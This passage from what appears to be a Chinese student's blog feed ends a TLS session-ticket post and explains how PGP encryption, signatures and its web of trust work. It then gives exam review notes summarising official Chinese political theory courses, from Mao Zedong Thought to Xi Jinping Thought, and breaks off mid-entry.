Type为4)如图所示:<br><img src="sessionticket.png" alt=""><br>注意的是,即使是使用Session Ticket机制,SessionID字段<strong>仍会被填充</strong>,但这会用于区分服务器是在恢复一个会话还是在进行一次完整的握手协议。</p>]]></content>
<summary type="html">
<p>TLS(Transportation Layer Security)是一种传输层协议,他的前身是由Netscape公司设计的SSL(Secure Socket Layer),用于web的安全传输。后被IETF规范化为TLS。<br>TLS共由5个子协议组成,分别为<stro
</summary>
<category term="协议" scheme="https://iwannatobehappy.github.io/tags/%E5%8D%8F%E8%AE%AE/"/>
</entry>
<entry>
<title>PGP协议</title>
<link href="https://iwannatobehappy.github.io/2019/12/20/PGP%E5%8D%8F%E8%AE%AE/"/>
<id>https://iwannatobehappy.github.io/2019/12/20/PGP%E5%8D%8F%E8%AE%AE/</id>
<published>2019-12-20T09:07:36.000Z</published>
<updated>2019-12-21T06:41:20.906Z</updated>
<content type="html"><![CDATA[<p>PGP(Pretty Good Privacy,优良保密协议)是一套用于消息加密、验证的应用程序。他提供<strong>保密性</strong>、<strong>完整性</strong>和<strong>身份认证</strong>服务。</p><h1 id="PGP加解密"><a href="#PGP加解密" class="headerlink" title="PGP加解密"></a>PGP加解密</h1><h2 id="PGP加密"><a href="#PGP加密" class="headerlink" title="PGP加密"></a>PGP加密</h2><p>文本信息通过压缩后变为二进制数据进行加密,加密结果再从二进制变为字符串传输。<br><img src="PGP%E5%8A%A0%E5%AF%86.png" alt=""></p><h2 id="PGP解密"><a href="#PGP解密" class="headerlink" title="PGP解密"></a>PGP解密</h2><p><img src="PGP%E8%A7%A3%E5%AF%86.png" alt=""></p><h1 id="PGP私钥管理"><a href="#PGP私钥管理" class="headerlink" title="PGP私钥管理"></a>PGP私钥管理</h1><p>PBE(Password Based Encryption)使用加盐的单向散列函数抵抗字典攻击。<br><img src="PBE.png" alt=""></p><h1 id="PGP数字签名"><a href="#PGP数字签名" class="headerlink" title="PGP数字签名"></a>PGP数字签名</h1><h2 id="生成签名"><a href="#生成签名" class="headerlink" title="生成签名"></a>生成签名</h2><p>发送者使用PBE管理自己的私钥(用于签名)。注意散列值的生成材料。<br><img src="%E7%AD%BE%E5%90%8D%E5%8A%A0%E5%AF%86.png" alt=""></p><h2 id="认证签名"><a href="#认证签名" class="headerlink" title="认证签名"></a>认证签名</h2><p><img src="%E8%AE%A4%E8%AF%81%E7%AD%BE%E5%90%8D.png" alt=""></p><h1 id="PGP签名与加密"><a href="#PGP签名与加密" class="headerlink" title="PGP签名与加密"></a>PGP签名与加密</h1><h2 id="PGP签名与加密-1"><a href="#PGP签名与加密-1" class="headerlink" title="PGP签名与加密"></a>PGP签名与加密</h2><p><img src="%E7%AD%BE%E5%90%8D%E5%8A%A0%E5%AF%86.png" alt=""></p><h2 id="PGP解密并验证"><a href="#PGP解密并验证" class="headerlink" title="PGP解密并验证"></a>PGP解密并验证</h2><p><img src="%E8%A7%A3%E5%AF%86%E5%B9%B6%E9%AA%8C%E8%AF%81.png" alt=""></p><h1 id="PGP公钥管理"><a href="#PGP公钥管理" class="headerlink" title="PGP公钥管理"></a>PGP公钥管理</h1><p>PGP不假定信任任何机构,即便是国家,它使用信任网来确保公钥的合法性。<br>每个个体都将维护一个公钥串,公钥串中的每个公钥都被签名,根据签名的来源可以划分出信任网的三条基本原则:</p><ul><li>通过自己的数字签名进行确认</li><li>通过自己完全信任的人的数字签名进行确认</li><li>通过自己有限信任的多个人的数字签名进行确认<h2 id="通过自己的数字签名进行确认"><a href="#通过自己的数字签名进行确认" class="headerlink" title="通过自己的数字签名进行确认"></a>通过自己的数字签名进行确认</h2>当Alice完全信任Bob的公钥时(比如这个公钥时Bob亲自给他的),他可以将Bob的公钥放入自己的PGP公钥串中,并加上自己的签名。<br>应用时,使用Bob的公钥前,会先根据Alice的公钥(在公钥串内)对签名进行验证。</li></ul><h2 id="通过自己完全信任的人的数字签名进行确认"><a href="#通过自己完全信任的人的数字签名进行确认" class="headerlink" title="通过自己完全信任的人的数字签名进行确认"></a>通过自己完全信任的人的数字签名进行确认</h2><p>当Alice完全信任Trent时,他可以将Trent的公钥设置为“我完全信任Trent的数字签名”。<br>应用时,使用Trent进行签名的公钥会被认为是绝对正确的。<br>PGP中,用户对每个公钥所有者都可以设置如下“所有者信任级别”:</p><ul><li>绝对信任(持有私钥的是本人)</li><li>完全信任</li><li>有限信任</li><li>不信任</li><li>未知密钥</li><li>未设置</li></ul><h2 id="通过自己有限信任的多个人的数字签名进行确认"><a href="#通过自己有限信任的多个人的数字签名进行确认" class="headerlink" title="通过自己有限信任的多个人的数字签名进行确认"></a>通过自己有限信任的多个人的数字签名进行确认</h2><p>对于有限信任的公钥,只有2个或以上的有限信任的人对某个公钥签名时,才能信任该公钥是正确的。</p><h1 id="PGP操作算法"><a href="#PGP操作算法" class="headerlink" title="PGP操作算法"></a>PGP操作算法</h1><table><thead><tr><th>操作</th><th>使用算法</th><th align="center">描述</th></tr></thead><tbody><tr><td>数字签名</td><td>DSS/SHA<br>或RSA/SHA</td><td align="center">使用SHA-1生成消息的散列值,采用DSS或者RSA,用发送者的私钥加密该散列值并与原消息拼接</td></tr><tr><td>消息加密</td><td>CAST或IDEA或RSA</td><td align="center">采用CAST-128或IDEA或3DES,使用由发送者生成的一次会话密钥加密消息。使用RSA算法中接受者的公钥加密该会话密钥并与消息拼接</td></tr><tr><td>压缩</td><td>ZIP</td><td align="center">采用ZIP算法实现消息压缩以便存储和传输</td></tr><tr><td>电子邮件兼容性</td><td>Radix-64转换</td><td align="center">与电子邮件系统兼容,在二进制和Radix-64编码之间互相转换</td></tr></tbody></table>]]></content>
<summary type="html">
<p>PGP(Pretty Good Privacy,优良保密协议)是一套用于消息加密、验证的应用程序。他提供<strong>保密性</strong>、<strong>完整性</strong>和<strong>身份认证</strong>服务。</p>
<h1 id="PGP加解密
</summary>
<category term="协议" scheme="https://iwannatobehappy.github.io/tags/%E5%8D%8F%E8%AE%AE/"/>
</entry>
<entry>
<title>毛概马原总复习</title>
<link href="https://iwannatobehappy.github.io/2019/12/12/%E6%AF%9B%E6%A6%82%E9%A9%AC%E5%8E%9F%E6%80%BB%E5%A4%8D%E4%B9%A0/"/>
<id>https://iwannatobehappy.github.io/2019/12/12/%E6%AF%9B%E6%A6%82%E9%A9%AC%E5%8E%9F%E6%80%BB%E5%A4%8D%E4%B9%A0/</id>
<published>2019-12-12T11:42:27.000Z</published>
<updated>2020-01-08T08:51:28.974Z</updated>
<content type="html"><![CDATA[<p><strong><em>加粗为记忆目录,其他为选择题要点或记忆内容</em></strong><br><strong><em>红字为掌握,即大题分析题,如根据XX分析中国特色社会主义的XX</em></strong></p><h1 id="毛泽东思想和中国特色社会主义理论体系概论"><a href="#毛泽东思想和中国特色社会主义理论体系概论" class="headerlink" title="毛泽东思想和中国特色社会主义理论体系概论"></a>毛泽东思想和中国特色社会主义理论体系概论</h1><h2 id="序章-前言"><a href="#序章-前言" class="headerlink" title="序章 前言"></a>序章 前言</h2><h3 id="马克思主义中国化的实质(含义)"><a href="#马克思主义中国化的实质(含义)" class="headerlink" title="马克思主义中国化的实质(含义)"></a>马克思主义中国化的实质(含义)</h3><p><strong>把马克思主义基本原理同中国具体实际和时代特征结合起来</strong>,运用马克思主义的立场、观点、方法研究和解决中国革命、建设、改革中的实际问题;就是总结和提炼中国革命、建设、改革的实践经验,从而认识和掌握规律,<strong>为马克思主义理论宝库添加新的内容</strong>;就是<strong>运用中国人民喜闻乐见的民族语言来阐述马克思主义理论</strong>,使之成为具有中国特色、中国风格、中国气派的马克思主义。</p><h3 id="马克思主义中国话两大理论成果及关系"><a href="#马克思主义中国话两大理论成果及关系" class="headerlink" title="马克思主义中国话两大理论成果及关系"></a>马克思主义中国话两大理论成果及关系</h3><p>就是毛泽东思想和中国特色社会主义理论体系</p><h2 id="第一章-毛泽东思想及其历史地位"><a href="#第一章-毛泽东思想及其历史地位" class="headerlink" title="第一章 毛泽东思想及其历史地位"></a>第一章 毛泽东思想及其历史地位</h2><h3 id="毛泽东思想的形成和发展"><a href="#毛泽东思想的形成和发展" class="headerlink" title="毛泽东思想的形成和发展"></a>毛泽东思想的形成和发展</h3><ul><li><p>毛泽东思想形成发展的过程</p><ul><li><p>毛泽东思想的形成</p><p> 第一次国内革命战争时期,毛泽东发表《中国社会各阶级的分析》、《湖南农民运动考察报告》,分析了中国社会各阶级在革命中的地位和作用,提出了新民主主义革命的基本思想。<br> 土地革命时期,毛泽东发表《中国的红色政权为什么能够存在?》、《井冈山的斗争》、《星星之火、可以燎原》、《反对本本主义》,提出阐述了农村包围城市、武装夺取政权的思想,标志着毛泽东思想的初步形成。</p></li><li><p>毛泽东思想的成熟</p><p> 遵义会议后,毛泽东发表《实践论》、《矛盾论》,分析了党内“左”和右的错误的思想源泉,发表《<共产党人>发刊词》、《中国革命和中国共产党》、《新民主主义论》、《论联合政府》,提出了新民主主义革命的总路线,指明了新民主主义革命的具体目标,详细论述了统一战线、武装斗争和党的建设的基本规律和内在联系。实现了马克思主义与中国革命实践相结合的历史性的飞跃。<br>1945年,党的七大将毛泽东思想写入党章,确立为党必须长期坚持的指导思想。</p></li><li><p>毛泽东思想的继续发展</p><p>解放战争时期和新中国成立以后,以毛泽东为主要代表的中国共产党人先后提出人民民主专政理论、社会主义改造理论、关于严格区分和正确处理两类矛盾的学说特别是正确处理人民内部矛盾的理论。毛泽东发表《在中国共产党第七届中央委员会第二次全体会议上的报告》、《论人民民主专政》、《论十大关系》、《关于正确处理人民内部矛盾的问题》等,是毛泽东思想的丰富和发展。</p></li></ul></li></ul><h3 id="毛泽东思想活的灵魂"><a href="#毛泽东思想活的灵魂" class="headerlink" title="毛泽东思想活的灵魂"></a>毛泽东思想活的灵魂</h3><p>1981年党的十一届六中全会通过《中国共产党中央委员会关于建国以来党的若干历史问题的决议》,其中指出:贯穿于毛泽东思想各个组成部分的立场、观点和方法,是毛泽东思想的获得灵魂,他们有三个基本方面,即实事求是,群众路线和独立自主。</p><ul><li><p><strong>实事求是</strong><br> 一切从实际出发,理论联系实际,坚持在实践中检验真理和发展真理。<br> 深入实际了解事物的本来面貌,把握事物内在必然联系,按照客观规律办事。<br> 清醒认识和正确把握我国基本国情。<br> 不断推进实践基础上的理论创新。</p></li><li><p><strong>群众路线</strong><br> 群众路线,就是一切为了群众,一切依靠群众,从群众中来,到群众中去,把党的正确主张变为群众的自觉行动。<br> 群众路线本质上体现的是马克思主义关于人民群众是历史的创造者这一基本原理。</p><p> 坚持人民是推动历史发展的根本力量。<br> 坚持全心全意为人民服务的根本宗旨。全心全意为人民服务是我们党区别于其他一切政党的根本标志。<br> 保持党同人民群众的血肉联系。</p></li><li><p><strong>独立自主</strong><br> 独立自主,就是坚持独立思考,走自己的路,坚定不移地维护民族独立,捍卫国家主权,把立足点放在依靠自己力量的基础上,同时积极争取外援,开展国际经济文化交流,学习外国一切对我们有益的先进事物。</p><p> <strong>内政</strong>:坚持中国的事情必须由中国人民自己处理。<br> <strong>外政</strong>:坚持独立自主的和平外交政策,坚定不移地走和平发展道路。</p></li></ul><h3 id="毛泽东思想的历史地位"><a href="#毛泽东思想的历史地位" class="headerlink" title="毛泽东思想的历史地位"></a>毛泽东思想的历史地位</h3><p> <strong>科学</strong>:毛泽东思想是马克思主义中国化的第一个重大理论成果<br> <strong>政治</strong>:毛泽东思想是中国革命和建设的科学指南<br> <strong>文化</strong>:毛泽东思想是中国共产党和中国人民宝贵的精神财富</p><h2 id="新民主主义革命理论"><a href="#新民主主义革命理论" class="headerlink" title="新民主主义革命理论"></a>新民主主义革命理论</h2><h3 id="新民主主义道路的形成"><a href="#新民主主义道路的形成" class="headerlink" title="新民主主义道路的形成"></a>新民主主义道路的形成</h3><ul><li><p>新民主主义革命理论形成的依据</p><ul><li><p>近代中国国情和中国革命的时代特征<br>近代中国国情:一方面,帝国主义的侵略虽然在一定程度上加速了封建社会和自给自足的自然经济的解体,客观上为中国资本主义的发展<strong>创造了一定条件</strong>,但并不能是中国发展为资本主义国家;另一方面,帝国主义列强通过政治的、经济的和文化的侵略,使中国<strong>半殖民地化</strong>。社会的主要矛盾是帝国主义和中华民族的矛盾、封建主义和人民大众的矛盾。中国革命的根本任务是推翻<strong>帝国主义</strong>、<strong>封建主义</strong>和<strong>官僚资本主义</strong>的统治。</p></li><li><p>近代中国的时代特征</p><p>新民主主义革命只推翻帝国主义、封建主义和官僚资本主义的反动统治,而不破坏参加反帝反封建的资本主义成分。指导革命的是马克思列宁主义。</p></li></ul></li><li><p>新民主主义革命理论的实践基础<br><strong>失败</strong>:旧民主主义革命的失败呼唤新的革命理论;<br><strong>探索</strong>:新民主主义革命探索奠定了革命理论的形成和实践基础;</p></li></ul><h3 id="新民主主义革命三大法宝"><a href="#新民主主义革命三大法宝" class="headerlink" title="新民主主义革命三大法宝"></a>新民主主义革命三大法宝</h3><ul><li><p><strong>统一战线</strong><br> 建立巩固工农联盟,正确对待资产阶级,尤其是民族资产阶级,采用区别对待的方针,坚持独立自主的原则。</p></li><li><p><strong>武装斗争</strong><br> 坚持党对军队的绝对领导;建设全心全意为人民服务的人民军队;坚持正确的战略战术原则。</p></li><li><p><strong>党的建设</strong><br> 必须把思想建设始终放在党的建设的首位;必须在任何时候都重视党的组织建设;必须重视党的作风建设;必须联系党的政治路线加强党的建设。党的政治路线是党的纲领在一定历史时期的具体体现。</p></li></ul><h3 id="新民主主义革命的社会性质"><a href="#新民主主义革命的社会性质" class="headerlink" title="新民主主义革命的社会性质"></a>新民主主义革命的社会性质</h3><ul><li>新民主主义革命是无产阶级<strong>领导</strong>的</li><li>它发生在俄国十月革命之后,属于世界无产阶级社会主义革命的<strong>范畴</strong></li><li>新民主主义革命的<strong>指导思想</strong>是马克思主义</li><li>新民主主义革命的<strong>前途</strong>是经过新民主主义逐渐过渡到社会主义</li></ul><h3 id="新民主主义革命总路线"><a href="#新民主主义革命总路线" class="headerlink" title="新民主主义革命总路线"></a>新民主主义革命总路线</h3><ul><li><p>动力</p><ol><li><strong>无产阶级</strong>是中国革命最基本的动力。</li><li><strong>农民</strong>是中国革命的主力军,其中贫雇农是无产阶级最可靠的同盟军,中农是无产阶级可靠的同盟军。</li><li><strong>城市小资产阶级</strong>是无产阶级可靠的同盟者。</li><li><strong>民族资产阶级</strong>也是中国革命的动力之一,民族资产阶级是一个带有两面性的阶级。</li></ol></li><li><p>性质<br> 新民主主义革命的性质不是无产阶级社会主义革命,而是<strong>资产阶级民主主义革命</strong><br> 新民族主义革命要建立的是无产阶级领导的各革命阶级的<strong>联合专政</strong>,不是无产阶级专政。</p></li><li><p>前途<br> 民主主义革命是社会主义革命的必要准备,社会主义革命是民主主义革命的必然趋势</p></li></ul><h2 id="社会主义改造理论"><a href="#社会主义改造理论" class="headerlink" title="社会主义改造理论"></a>社会主义改造理论</h2><h3 id="资本主义工商业的社会改造"><a href="#资本主义工商业的社会改造" class="headerlink" title="资本主义工商业的社会改造"></a>资本主义工商业的社会改造</h3><ol><li>用<strong>和平赎买</strong>的方式改造资本主义工商业。所谓赎买,就是国家有偿地将私营企业变为国营企业,将资本主义私有制改变为社会主义公有制,赎买的具体方式是资本家在一定年限内从企业经营所得中获取一部分利润。</li><li>采取从低级到高级的<strong>国家资本主义</strong>的过渡形式。所谓国家资本主义,就是在国家直接控制和支配下的资本主义经济。</li><li>把资本主义工商业者改造成为<strong>自食其力</strong>的社会主义劳动者。</li></ol><h3 id="确立社会主义基本制度的意义"><a href="#确立社会主义基本制度的意义" class="headerlink" title="确立社会主义基本制度的意义"></a>确立社会主义基本制度的意义</h3><font color="#FF0000"><ol><li>社会主义基本制度的确立是中国历史上最深刻最伟大的<strong>社会变革</strong>,为当代中国一切发展进步奠定了制度基础,也为中国特色社会主义制度的创新和发展提供了重要前提。</li><li>社会主义基本制度的确立,极大地提高了工人阶级和广大劳动人民的积极性、创造性,极大的促进了我国<strong>社会生产力的发展</strong>。<br> 我国社会生产力的发展,初步显示了社会主义的优越性。</li><li>是中国几千年来<strong>阶级关系</strong>的最根本变革。</li><li>他进一步改变了<strong>世界政治经济格局</strong>,增强了社会主义的力量,对维护世界和平产生了积极影响。</li><li>社会主义基本制度的确定,是马克思列宁主义关于<strong>社会主义革命理论在中国的正确运用和创造性发展</strong>的结果。</li></ol></font><h2 id="社会主义建设道路初步探索的理论成果"><a href="#社会主义建设道路初步探索的理论成果" class="headerlink" title="社会主义建设道路初步探索的理论成果"></a>社会主义建设道路初步探索的理论成果</h2><h3 id="毛泽东初步探索社会主义建设道路的理论成果"><a href="#毛泽东初步探索社会主义建设道路的理论成果" class="headerlink" title="毛泽东初步探索社会主义建设道路的理论成果"></a>毛泽东初步探索社会主义建设道路的理论成果</h3><ul><li><p>社会主要矛盾<br>党在八大前后,特别是《关于正确处理人民内部矛盾的问题》的报告,系统论述了社会主义社会矛盾的理论。<br>党的<strong>八大</strong>指出:我国国内的主要矛盾,是人民对于建立先进的工业国的要求同落后的农业国的现实之间的矛盾。</p></li><li><p>处理人民内部矛盾的方针<br> 用<strong>民主</strong>的方法解决人民内部矛盾,这是一个总方针。对于政治思想领域的人民内部矛盾,施行“团结-批评-团结“的方针;对于物质利益、分配方面的人民内部矛盾,实行统筹兼顾、适当安排的方针;对于人民群众和政府机关的矛盾,要坚持民主集中制原则;对于科学文化领域的矛盾,实行”百花齐放、百家争鸣“的方针;对于共产党和民主党派的矛盾,实行坚持社会主义道路和共产党领导的前提下”长期共存、互相监督“的方针;对于民族之间的矛盾,实行民族平等、团结互助的方针,等等。</p></li><li><p>谈十大关系的地位<br> 1956年4月5日,毛泽东做了《论十大关系》的报告,初步总结了我国社会主义建设的经验,明确提出要以苏为鉴,独立自主地探索适合中国情况的社会主义建设道路。<strong>标志着党探索中国社会主义建设道路的良好开端</strong>。</p></li><li><p>社会主义建设的基本方针<br> 努力把党内党外国内国外的一切积极的因素,直接的间接的积极因素全部<strong>调动</strong>起来为社会主义建设服务。<br> 必须<strong>坚持</strong>中国共产党的领导;必须发展社会主义民主政治;<strong>认清</strong>社会主义发展阶段和社会主义建设规律。</p></li></ul><h3 id="毛泽东走工业化道路的思想"><a href="#毛泽东走工业化道路的思想" class="headerlink" title="毛泽东走工业化道路的思想"></a>毛泽东走工业化道路的思想</h3><font color="#FF0000"><ul><li>内容<br> 以农业为基础,以工业为主导,以农轻重为序发展国民经济。</li><li>具体思路<br> 采取明确的战略目标和战略步骤。<br> 采取正确的经济建设方针。<br> 发展科学技术和文化教育。<br> 重视知识分子工作。<br> 调整和完善所有制结构。<br> 积极探索适合我国的经济体制和运行机制。</li></ul></font><h2 id="邓小平理论"><a href="#邓小平理论" class="headerlink" title="邓小平理论"></a>邓小平理论</h2><h3 id="邓小平理论的形成条件"><a href="#邓小平理论的形成条件" class="headerlink" title="邓小平理论的形成条件"></a>邓小平理论的形成条件</h3><p>和平与时代发展成为时代主题是邓小平理论形成的时代背景;<br>社会主义建设的经验教训是邓小平理论形成的历史根据;<br>改革开放和现代化建设的实践是邓小平理论形成的现实依据。</p><h3 id="邓小平理论主要内容"><a href="#邓小平理论主要内容" class="headerlink" title="邓小平理论主要内容"></a>邓小平理论主要内容</h3><p>邓小平理论包括:解放思想、实事求是的思想路线;社会主义初级阶段理论;党的基本路线;社会主义根本任务的理论;三步走战略;改革开放理论;社会主义市场经济理论;两手抓两手都要硬;一国两制;中国问题的关键在于党共10点。</p><ul><li><p>初级阶段及其长期性的理论<br>十三大指出:社会主义初级阶段,就是指我国在生产力落后、商品经济不发达条件下建设社会主义必然要经历的特定阶段,即从我国进入社会主义到基本实现社会主义现代化的整个历史阶段。<br>十五大进一步阐述了社会主义初级阶段的基本特征:很长,瞎编。示例:是逐步摆脱不发达状态,基本实现社会主义现代化的历史阶段;是由农业人口占很大比重、主要依靠手工劳动的农业国,逐步转变为非农业人口占大多数、包含现代农业和现代服务业的工业化国家的历史阶段……</p></li><li><p>根本任务理论<br>社会主义的根本任务是发展生产力。<br>发展要抓住机遇;中国要发展,离不开科学,科学技术是第一生产力。</p></li></ul><h3 id="解放思想、实事求是的思想路线"><a href="#解放思想、实事求是的思想路线" class="headerlink" title="解放思想、实事求是的思想路线"></a>解放思想、实事求是的思想路线</h3><p>1978年党的十一届三中全会,邓小平发表《解放思想、实事求是,团结一致向前看》的讲话,标志着党重新确立了马克思主义的思想路线。<br>1992年初邓小平《在武昌、深圳、珠海、上海等地的谈话要点》,是全面改革进程中思想解放的科学总结。<br>解放思想、实事求是的思想路线是邓小平理论活的灵魂。</p><h3 id="邓小平理论的历史地位"><a href="#邓小平理论的历史地位" class="headerlink" title="邓小平理论的历史地位"></a>邓小平理论的历史地位</h3><p>马克思列宁主义、毛泽东思想的继承和发展<br>中国特色社会主义理论体系的开篇之作<br>改革开放和社会主义现代化建设的科学指南</p><h3 id="社会主义市场经济的内容"><a href="#社会主义市场经济的内容" class="headerlink" title="社会主义市场经济的内容"></a>社会主义市场经济的内容</h3><font color="#FF0000"><p>十二届三中全会通过的《中共中央关于经济体制改革的决定》提出了社会主义经济是公有制基础上有计划的商品经济的论断。</p><p>计划经济和市场经济不是划分社会制度的标志<br>计划和市场都是经济手段,对经济活动的调节各有优势和长处<br>市场经济作为资源配置的一种方式本身不具有制度属性,可以和不同的社会制度结合,从而表现出不同的性质,坚持社会主义制度和市场经济的结合,是社会主义市场经济的特色所在、优势所在。</p></font><h3 id="社会主义本质理论的内容"><a href="#社会主义本质理论的内容" class="headerlink" title="社会主义本质理论的内容"></a>社会主义本质理论的内容</h3><font color="#FF0000"><p>解放生产力,发展生产力,消除剥削,消除两极分化,最终达到共同富裕</p></font><h2 id="三个代表重要思想"><a href="#三个代表重要思想" class="headerlink" title="三个代表重要思想"></a>三个代表重要思想</h2><h3 id="三个代表的形成及产生背景"><a href="#三个代表的形成及产生背景" class="headerlink" title="三个代表的形成及产生背景"></a>三个代表的形成及产生背景</h3><ol><li><p>三个代表重要思想的形成条件<br> 三个代表重要思想是在对冷战结束后国际局势科学判断的基础上形成的<br> 三个代表重要思想是在科学判断党的历史方位和总结历史经验的基础上提出来的<br> 三个代表重要思想是在建设中国特色社会主义伟大实践的基础上形成的</p></li><li><p>三个代表重要思想的形成过程<br> 十三届四中全会提出大力加强党的建设,坚决惩治腐败的要求。<br> 十四届四中全会通过了《中共中央关于加强党的建设几个重大问题的决定》。<br> 2000年江泽民在广东查考工作时,首次对三个代表进行了比较全面的阐述。<br> 2001年江泽民在庆祝中国共产党成立80周年大会上全面阐述了三个代表重要思想的科学内涵和基本内容<br> 十六大报告中,全面阐述了三个代表重要思想形成的时代背景、历史地位、精神实质和指导意义<br> 十六大将三个代表重要思想写入党章</p></li></ol><h3 id="三个代表的核心观点"><a href="#三个代表的核心观点" class="headerlink" title="三个代表的核心观点"></a>三个代表的核心观点</h3><ul><li>始终代表中国先进生产力的发展要求<br>社会主义的根本任务是发展社会生产力,马克思主义执政党必须高度重视解放和发展生产力<br>广大工人、农民和只是分子始终是推动我国先进生产力发展和社会全面进步的根本力量<br>科技是第一生产力,科学的本质是创新<br>促进先进生产力的发展,就要是生产关系和上层建筑的各个方面不断体现先进生产力的发展要求</li><li>始终代表中国先进文化的前进方向<br>发展社会主义先进文化,就是建设社会主义精神文明<br>发展社会主义先进文化,就是发展面向现代化、面向世界。面向未来的民族的科学的大众的社会主义文化<br>发展社会主义先进文化,必须弘扬民族精神<br>发挥社会主义先进文化,必须加强社会主义思想道德建设<br>发展社会主义先进文化,必须做好思想政治工作</li><li>始终代表中国最广大人民的根本利益<br>人民是我们国家的主任,是决定我国前途和命运的根本力量,是历史真正的创造者。<br>我们党来自于人民,根植于人民,服务于人民。<br>我们党始终坚持人民的利益高于一切。当除了最广大人民的利益,没有自己特殊的利益</li></ul><h2 id="科学发展观"><a href="#科学发展观" class="headerlink" title="科学发展观"></a>科学发展观</h2><h3 id="科学发展观的科学内涵"><a href="#科学发展观的科学内涵" class="headerlink" title="科学发展观的科学内涵"></a>科学发展观的科学内涵</h3><p>推动经济社会发展是科学发展观的第一要义<br>以人为本是科学发展观的核心立场<br>全面协调可持续是科学发展观的基本要求<br>统筹兼顾是科学发展观的根本方法</p><h3 id="科学发展观的形成条件"><a href="#科学发展观的形成条件" class="headerlink" title="科学发展观的形成条件"></a>科学发展观的形成条件</h3><p>科学发展观是在深刻把握我国基本国情和新的阶段性特征的基础上形成和发展的<br>科学发展观是在深入总结改革开放以来特别是党的十六大以来实践经验的基础上形成和发展来的<br>科学发展观是在深刻分析国际形势、顺应世界发展趋势,借鉴国外发展经验的基础上形成和发展的</p><h3 id="社会主义和谐社会的总体要求"><a href="#社会主义和谐社会的总体要求" class="headerlink" title="社会主义和谐社会的总体要求"></a>社会主义和谐社会的总体要求</h3><p>民主法治、公平正义、诚信友爱、充满活力、安定有序、人与自然和谐相处,是构建社会主义和谐社会的总要求。</p><h2 id="习近平新时代中国特色社会主义思想及其历史地位"><a href="#习近平新时代中国特色社会主义思想及其历史地位" class="headerlink" title="习近平新时代中国特色社会主义思想及其历史地位"></a>习近平新时代中国特色社会主义思想及其历史地位</h2><h3 id="社会主义主要矛盾的变化及其影响"><a href="#社会主义主要矛盾的变化及其影响" class="headerlink" title="社会主义主要矛盾的变化及其影响"></a>社会主义主要矛盾的变化及其影响</h3><p>1981年十一届六中全会通过的《历史决议》对我国社会主要矛盾做了科学表述:“在社会主义改造基本完成以后,我国所要解决的主要矛盾,是人民日益增长的物质文化需要同落后的社会生产之间的矛盾。”<br>党的十九大明确指出,我国社会主要矛盾已经转变为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾。</p><ul><li><p>主要依据<br>经过改革开放40年的发展,我国社会生产力水平总体上显著提高,很多方面进入世界前列。<br>人民生活水平显著提高,对美好生活的向往更加强烈,不仅对物质文化生活提出了更高要求,而且在民主法治公平正义安全环境等方面的要求日益增长<br>影响满足人民美好生活需要的因素很多,但主要是发展不平衡不充分的问题。</p></li><li><p>一变二不变<br>我国社会主要矛盾的变化,没有改变我们对我国社会主义所处的历史阶段的判断,我国仍处于并将长期处于社会主义初级阶段的基本国情没有变,我国是世界上最大发展中国家的国际地位没有变。</p></li></ul><h3 id="新时代的内涵"><a href="#新时代的内涵" class="headerlink" title="新时代的内涵"></a>新时代的内涵</h3><ol><li>这个新时代是承前启后、继往开来,在新的历史条件下继续脱去中国特色社会主义伟大胜利的时代。</li><li>这个新时代是决胜全面建成小康社会,进而全面建设社会主义现代化强国的时代。</li><li>这个新时代是全国各族人民团结奋斗、不断创造美好生活、逐步实现全体人民共同富裕的时代。</li><li>这个新时代是全体中华儿女勠力同心、奋力实现中华民族伟大复兴中国梦的时代。</li><li>这个新时代是我国日益走近世界舞台中央、不断为人类做出更大贡献的时代。</li></ol><h3 id="新时代的意义"><a href="#新时代的意义" class="headerlink" title="新时代的意义"></a>新时代的意义</h3><ol><li>从中华民族复兴的历史进程看,中国特色社会主义进入新时代,意味着近代以来久经磨难的中华民族引来了从站起来、富起来到强起来的伟大飞跃。</li><li>从科学社会主义发展进程看,中古特色社会主义进入新时代,意味着科学社会主义在21世纪的中国焕发出强大生机活力。</li><li>从人类文明进程看,中国特色社会主义进入新时代,意味着中国特色社会主义道路、理论、制度、文化不断发展,头占了发展中国家走向现代化的途径,给世界上那些寄希望加快发展又希望保持自身独立性的国家和民族提供了全新选择,为解决 人类问题提供了中国智慧和中国方案。</li></ol><h3 id="习近平新时代中国特色社会主义的内容"><a href="#习近平新时代中国特色社会主义的内容" class="headerlink" title="习近平新时代中国特色社会主义的内容"></a>习近平新时代中国特色社会主义的内容</h3><font color="#FF0000"><ul><li>核心内容<br>十九大报告中概括的八个明确,是习近平新时代中国夜色社会主义思想的核心要义。</li></ul><ol><li>明确坚持和发展中国特色社会主义,总任务是实现社会主义现代化和中华民族伟大复兴,在全面建成小康社会的基础上,分两步走在本世纪中叶建成富强民主文明和谐美丽的社会主义现代化强国</li><li>明确新时代我国社会主要矛盾是人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾,必须坚持以人民为中心的发展思想,不断促进人的全面发展、全体人民共同富裕</li><li>明确中国特色社会主义事业总体布局是“五位一体”、战略布局是“四个全面”,强调坚定道路自信、理论自信、制度自信、文化自信</li><li>明确全面深化改革总目标是完善和发展中古特色社会主义制度、推进国家治理体系和治理能力现代化。</li><li>明确全面推进依法治国总目标是建设中国特色社会主义法治体系、建设社会主义法治国家</li><li>明确党在新时代的强军目标是建设一支听党指挥、能打胜仗、作风优良的人民军队,把人民军队建设成为世界一流军队</li><li>明确中国特色大国外交要推动构建新型国际关系,推动构建人类命运共同体</li><li>明确中国特色社会主义最本质的特征是中国共产党领导,中国特色社会主义制度的最大优势是中国共产党领导。</li></ol><ul><li>基本方略</li></ul><ol><li>坚持党对一切工作的领导</li><li>坚持以人民为中心</li><li>坚持全面深化改革</li><li>坚持新发展理念</li><li>坚持人民当家做主</li><li>坚持全面依法治国</li><li>坚持社会主义核心价值体系</li><li>坚持在发展中保障和改善民生</li><li>坚持人与自然和谐共生</li><li>坚持总体国家安全观</li><li>坚持党对人民军队的绝对领导</li><li>坚持一国两制和推进祖国统一</li><li>坚持推动构建人类命运共同体</li><li>坚持全面从严治党</li></ol></font><h2 id="坚持和发展中国特色社会主义的总任务"><a href="#坚持和发展中国特色社会主义的总任务" class="headerlink" title="坚持和发展中国特色社会主义的总任务"></a>坚持和发展中国特色社会主义的总任务</h2><h3 id="中国梦的科学内涵"><a href="#中国梦的科学内涵" class="headerlink" 